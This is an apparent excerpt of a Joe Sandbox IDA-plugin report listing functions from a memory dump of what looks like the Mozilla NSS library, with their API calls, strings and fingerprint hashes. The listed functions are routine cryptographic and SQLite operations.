Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C6BF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C78218C), ref: 6C6BF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C6BF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6BF210

Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C6652F5
Part of subcall function 6C6652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C66530F
Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C665326
Part of subcall function 6C6652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C665340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF227

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C6BF23E

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C6BF3A8

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF3B3

Part of subcall function 6C662D20: PK11_DestroyObject.NSS3(?,?), ref: 6C662D3C
Part of subcall function 6C662D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C662D5F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction ID: 80cf96fd84a0ed2bac78895a38815606644b0437fb28ebfd1a2cf66311502bd0
Opcode Fuzzy Hash: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction Fuzzy Hash: 9AD180B9E016059FDB10CF99D880A9EB7F5EF48308F148429D915B7721EB31E816CB99

Function 6C6EDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE33

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6ED000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6EDE74,6C6C7FFA,00000002,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002), ref: 6C6ED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6EDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE121
PK11_FreeSymKey.NSS3(?), ref: 6C6EE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6EE195
PR_GetCurrentThread.NSS3 ref: 6C6EE1FC

Part of subcall function 6C6E2460: PR_SetError.NSS3(FFFFE005,00000000,6C787379,00000002,?), ref: 6C6E2493

Strings

application data, xrefs: 6C6EDFE0
early application data, xrefs: 6C6EDFC9
key, xrefs: 6C6EE046
handshake data, xrefs: 6C6EDFF7

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction ID: fd703863d4fb07b108205b5ff99832ef7ec28ef4d0d96e680d82ffdc432529d2
Opcode Fuzzy Hash: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction Fuzzy Hash: 5FC12571B0A2059BDB04CF65CC84BEAB7B4FF4D308F14413AE9099BA51E331E955CBA9

Function 6C5DECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5DEF98

Strings

database corruption, xrefs: 6C5DF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DF483
%s at line %d of [%.10s], xrefs: 6C5DF492

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction ID: 1338e076873cfff932da32471582f82806b0588efc20b7d9c458b78af9907f59
Opcode Fuzzy Hash: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction Fuzzy Hash: F162F270A043458FDB04CF6CCC44B9ABBB1AF45318F1A469DD8465BB92D771F886CB98

Function 6C67FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C67FD06

Part of subcall function 6C67F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C67F696
Part of subcall function 6C67F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C67F789
Part of subcall function 6C67F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C67F796
Part of subcall function 6C67F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C67F79F
Part of subcall function 6C67F670: SECITEM_DupItem_Util.NSS3 ref: 6C67F7F0

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FDAD

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FE00

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Part of subcall function 6C69E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C69E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C67FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C67FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C67FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C680007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C680029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C680044

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction ID: b990af6b15b6ac1fd24d98cf0d0623487ffe832766da8b78b6047aafeebbd8ae
Opcode Fuzzy Hash: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction Fuzzy Hash: 20B1C571504301AFE314CF29C840E6AB7E5FF89308F158A2DE95987A41EB70E945CBA6

Function 6C677D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C677DDC

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C677DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C677F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C677F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C677F98
PK11_FreeSymKey.NSS3(?), ref: 6C677FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C677FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C678000

Part of subcall function 6C699430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C677F0C,?,00000000,00000000,00000000,?), ref: 6C69943B
Part of subcall function 6C699430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C69946B
Part of subcall function 6C699430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C699546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C678110
PK11_FreeSymKey.NSS3(00000000), ref: 6C67811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C67822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C67823C

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction ID: 542c96c9b8b8a6a6398a678c1cf8716156fc3b1d7e938fcd7c3dfba8fa4d25ff
Opcode Fuzzy Hash: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction Fuzzy Hash: 41C16DB1D002199BEB21CF24CC44BEAB7B8EB09308F0085E5E919B6651E7319E85CFA5

Function 6C5EAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB0A2
CloseHandle.KERNEL32(?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?,?,?), ref: 6C5EB100
sqlite3_free.NSS3(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB12D

Part of subcall function 6C5D9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5EC6FD,?,?,?,?,6C63F965,00000000), ref: 6C5D9F0E
Part of subcall function 6C5D9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C63F965,00000000), ref: 6C5D9F5D

Strings

`vl, xrefs: 6C5EB0DF

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `vl
API String ID: 3155957115-2789490299
Opcode ID: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction ID: 1f079da992d96c6292bd472e2e837e70d05ca1491dd5efe13bca217fb5519648
Opcode Fuzzy Hash: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction Fuzzy Hash: F591CEB4A043068FDB04DF79DC84A6BBBB1FF49309F244A2DE46697A50EB31E840CB55

Function 6C680EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C680F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C680FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C681006
PK11_FreeSymKey.NSS3(?), ref: 6C68101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C681033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C681048
memcpy.VCRUNTIME140(?,?,?), ref: 6C68108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C68112E

Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815B8
Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815C1
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68162E
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C681637

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction ID: 95a798cc19985e93efad62055b12a8c0e60b08f783d87ea23fae4b9588c79c78
Opcode Fuzzy Hash: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction Fuzzy Hash: 9971D2B1E012058FDB00CFA5CD84AAAB7F4BF44318F14862DE92997B11EB71D945CBA9

Function 6C6A1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A241C

Strings

token, xrefs: 6C6A1F2C
manufacturer, xrefs: 6C6A2179
serial, xrefs: 6C6A22A2
model, xrefs: 6C6A23CB, 6C6A23EC

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction ID: 129f8d7a90af96d4669e3ad1971f843630a0ff160582bb01c20f31e91ab1252c
Opcode Fuzzy Hash: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction Fuzzy Hash: DA02E3A2D4C7C85EF73186B2C44C7D77BE09B46328F4C166DCADE46A83C3A85D4A8359

Function 6C5E0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5E103E
EnterCriticalSection.KERNEL32(?), ref: 6C5E1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5E1190
sqlite3_free.NSS3(00000000), ref: 6C5E1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5E126E
sqlite3_free.NSS3(?), ref: 6C5E127F

Strings

Pvl, xrefs: 6C5E109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5E1267
winAccess, xrefs: 6C5E129B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pvl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1044067139
Opcode ID: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction ID: 6ccc7dfa9a04c45e61262b8c38f5000a6acb006276e5f16995ce397449083123
Opcode Fuzzy Hash: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction Fuzzy Hash: BB711B327052059BEB08DF65EC99E6F3376FB8A314F140639E91587A81DB30D901C796

Function 6C6A6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C60
PR_ExplodeTime.NSS3(00000000,6C651C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C94

Strings

gfff, xrefs: 6C6A6D30
gfff, xrefs: 6C6A6D66
gfff, xrefs: 6C6A6D9C
gfff, xrefs: 6C6A6CFD
gfff, xrefs: 6C6A6CF5

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction ID: bfa5ba7393045762ceca7a11ea0f79cdad9d0bbaec1f4d2ca55331b14f21ce55
Opcode Fuzzy Hash: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
